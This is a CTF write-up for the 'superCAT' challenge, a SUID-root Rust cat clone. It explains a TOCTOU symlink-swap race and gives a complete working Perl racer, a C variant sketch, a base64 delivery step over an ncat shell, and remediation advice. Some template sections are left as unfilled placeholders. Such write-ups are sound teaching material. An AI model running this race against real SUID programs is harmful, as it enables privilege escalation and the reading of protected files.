superCAT
superCAT
Platform: GPN CTF | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: toctou_symlink_swap, atomic_symlink_rename, suid_path_check_use_race, perl_racer
Summary
Task: SUID-root Rust reimplementation of cat that re-runs its own permission checks in userland; std::fs::metadata (check) and fs::read_to_string (use) both follow symlinks on the same path with no fd pinning. Solution: TOCTOU symlink-swap race — flip a symlink between a decoy file we own and /flag so metadata sees the decoy (check passes) while the root read resolves to /flag, leaking the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
kitctf| ID:20260530_kitctf_supercat - Tags: race_condition, toctou, suid, privilege_escalation, symlink, rust, file_disclosure, proc_status
- Indicators: SUID root binary re-implements access control in userland, std::fs::metadata then fs::read_to_string on same user-controlled path, both check and use follow symlinks, no file-descriptor pinning between check and read, only perl available on box (no gcc/python)
- Source:
20260530_kitctf_supercat.md
Foothold
Vulnerability / Misconfiguration
- Toctou_symlink_swap
- Atomic_symlink_rename
- Suid_path_check_use_race
- Perl_racer
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- toctou_symlink_swap
- atomic_symlink_rename
- suid_path_check_use_race
- perl_racer
- Tags: race_condition, toctou, suid, privilege_escalation, symlink, rust, file_disclosure, proc_status
Original Writeup
<details><summary>Click to expand original content</summary>Description
SuperCat. DO NOT EAT. The better, newer, more tasteful version of cat. Obv. highly opinionated
A SUID-root binary /usr/local/bin/supercat is a Rust reimplementation of cat.
Provided files (supercat.tar.gz): main.rs, Dockerfile, Cargo.toml,
Cargo.lock. We connect as user ctf (uid 1000) over ncat --ssl <host> 443,
which (via socat ... EXEC:bash) drops us into a bash shell as ctf. The goal is
to read /flag (owned root:root, mode 0400).
The word "highly opinionated" is the semantic clue: the program does NOT trust the kernel for access control — it re-implements the checks itself in userland. That re-implementation is the bug.
Environment / Setup
/flag—root:root, mode0400(only root may read)./usr/local/bin/supercat— SUID root (chmod 4755,chown root:root).- We are
ctf(uid 1000, gid 1000, groups=1000), Debian bullseye image, kernel 6.12. - Tooling on the box: only
perlwas present — nogcc/cc, nopython/python3. This dictated the exploit language (Perl racer rather than C).
Baseline behaviour:
$ supercat /flag
this super cat wont be tricked by your pesky bribery attempts...
$ supercat /tmp/m # a file we own, mode 0644
<contents printed 4 times> # once per passing permission check
Analysis — the four checks and why /flag fails them
main.rs does, in pseudocode:
let file_meta = std::fs::metadata(file)?; // (1) CHECK: stats the path
let (uid, gid, groups) = get_permissions(); // (2) caller's REAL uid/gid/groups
// parsed from /proc/self/status (ctf=1000)
let mode = file_meta.mode();
// (3) four independent checks; each PASSING check calls grant_read(file):
if uid == file_meta.uid() && (mode & 0o400) != 0 { grant_read(file); } // owner read
if gid == file_meta.gid() && (mode & 0o040) != 0 { grant_read(file); } // group read
if groups.contains(&file_meta.gid()) && (mode & 0o040) != 0 { grant_read(file); } // supp. group
if (mode & 0o004) != 0 { grant_read(file); } // other read
// grant_read: fs::read_to_string(file) then print -> runs AS ROOT, follows symlinks
Two critical facts:
std::fs::metadatafollows symlinks — it reports the uid/gid/mode of the symlink target, not the link.grant_readcallsfs::read_to_string(file)on the same path string — a second, independent resolution that also follows symlinks, and because the binary is SUID root, this read happens as root.
Why /flag fails all four checks honestly:
| Check | Condition | /flag is root:root 0400 |
|---|---|---|
| owner | uid(1000) == file.uid & 0o400 | file.uid == 0 → fail |
| group | gid(1000) == file.gid & 0o040 | file.gid == 0, and 0o040 bit clear → fail |
| supp. | groups ∋ file.gid & 0o040 | group 0 not in our groups, bit clear → fail |
| other | 0o004 | other-read bit clear → fail |
So an honest supercat /flag only prints the troll message.
Root cause — TOCTOU symlink-swap (check ≠ use)
The check (metadata(file)) and the use (read_to_string(file) inside
grant_read) are two separate path resolutions of the same
user-controlled path, and both follow symlinks. There is no
file-descriptor pinning between them (the program never open()s once and then
fstat()s the same fd). That is a classic time-of-check-to-time-of-use race.
If file is a symlink we own, we can swap its target between the two operations:
- During
metadata(): link → a decoy file we own (uid 1000, mode0444). The owner checkuid == file.uid && 0o400passes (and the0o044bits make the group/supp/other checks pass too). - Before
read_to_string(): link →/flag. The privileged root read resolves to/flagand leaks the flag.
Memory safety (Rust) is irrelevant here — this is a logic/ordering bug. The flag
itself (REDACTED) is the author's joke about exactly that.
Exploitation — step by step
- Create a decoy file
mineowned byctf, mode0444, with one linedecoy. - Create a symlink
f. We will flip its target between/flagandmine. - Fork a swapper child that atomically flips
fin a tight loop. Atomicity is achieved with the create-temp-symlink +rename()trick sofis never momentarily absent:
unlink $T; symlink("/flag",$T); rename($T,$F);unlink $T; symlink($M,$T); rename($T,$F);
- Parent loop repeatedly runs
supercat fand greps stdout forGPNCTF{...}. - We win when
metadata()observes the decoy (so a check passes) while the subsequent rootread_to_string()resolves to/flag.
Delivery: the Perl racer was base64-encoded locally, piped over the
ncat --ssl bash shell, decoded to /tmp/race.pl, and run under timeout.
# local -> remote base64 -w0 race.pl | ncat --ssl <host> 443 # then on the remote shell: base64 -d > /tmp/race.pl <<'B64' <...payload...> B64 timeout 60 perl /tmp/race.pl
Solve script — race.pl
#!/usr/bin/perl
use strict; use warnings;
use POSIX ":sys_wait_h";
my $BIN = "/usr/local/bin/supercat";
my $F = "f"; # the symlink supercat will open
my $M = "mine"; # decoy file we own (uid 1000, mode 0444)
my $T = ".tmp_link"; # temp link used for atomic rename swap
# 1) decoy file we own, world-readable -> makes a check pass
open(my $fh, ">", $M) or die "decoy: $!";
print $fh "decoy\n";
close($fh);
chmod 0444, $M;
# 2) initial symlink points at the decoy
unlink $F;
symlink($M, $F) or die "symlink: $!";
# 3) swapper child: atomically flip f between /flag and the decoy
my $pid = fork();
die "fork: $!" unless defined $pid;
if ($pid == 0) {
while (1) {
unlink $T; symlink("/flag", $T); rename($T, $F);
unlink $T; symlink($M, $T); rename($T, $F);
}
exit 0;
}
# 4) parent: hammer supercat and look for the flag
for my $i (1 .. 200000) {
my $out = `$BIN $F 2>/dev/null`;
if ($out =~ /(GPNCTF\{[^}]*\})/) {
print "WIN iter $i\n$out";
kill 'KILL', $pid; waitpid($pid, 0);
exit 0;
}
}
kill 'KILL', $pid; waitpid($pid, 0);
print "no win\n";
Winning output
It won on iteration 4. The raw stdout literally showed:
decoy
GPNCTF{REDACTED}
GPNCTF{REDACTED}
GPNCTF{REDACTED}
this super cat wont be tricked by your pesky bribery attempts...
Interpretation: metadata() saw the decoy (mode 0444), so the owner,
group and supplementary-group checks all passed; for each of those three passing
checks the root read_to_string() had already resolved the symlink to /flag,
printing the flag three times. The single decoy line and the final troll line
are the iterations where the swap landed the other way.
C variant note
If gcc/cc had been present, an equivalent (often faster) racer is race.c: a
pthread swapper thread doing the same symlink+rename flip while the main
thread fork/execs supercat f in a loop. Compile only if a C compiler
exists:
// race.c (sketch) — compile: cc -O2 -pthread race.c -o race
// thread: loop { remove(T); symlink("/flag",T); rename(T,F);
// remove(T); symlink(M,T); rename(T,F); }
// main: loop { fork(); child: execl(BIN,"supercat",F,NULL); parent: read & grep }
Because only perl was available on the target, the Perl racer was the correct
choice — no compiler, no Python.
Remediation
- A SUID program must never re-implement access control and then
open()by path. Correct approaches: open()the file once andfstat()that same fd (check-and-use on a single descriptor — no second path resolution).- Use
faccessat(AT_FDCWD, path, R_OK, AT_EACCESS | AT_SYMLINK_NOFOLLOW)/ open withO_NOFOLLOWso symlinks cannot be substituted. - Drop privileges (
setuidto the real uid) before reading user-named paths, letting the kernel enforce permissions. - Parsing real uid/gid from
/proc/self/statusto make trust decisions is also fragile, but the actually-exploited bug is the path-based check/use race, not the proc parsing. - Memory-safe languages (Rust) do not prevent logic/TOCTOU vulnerabilities.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR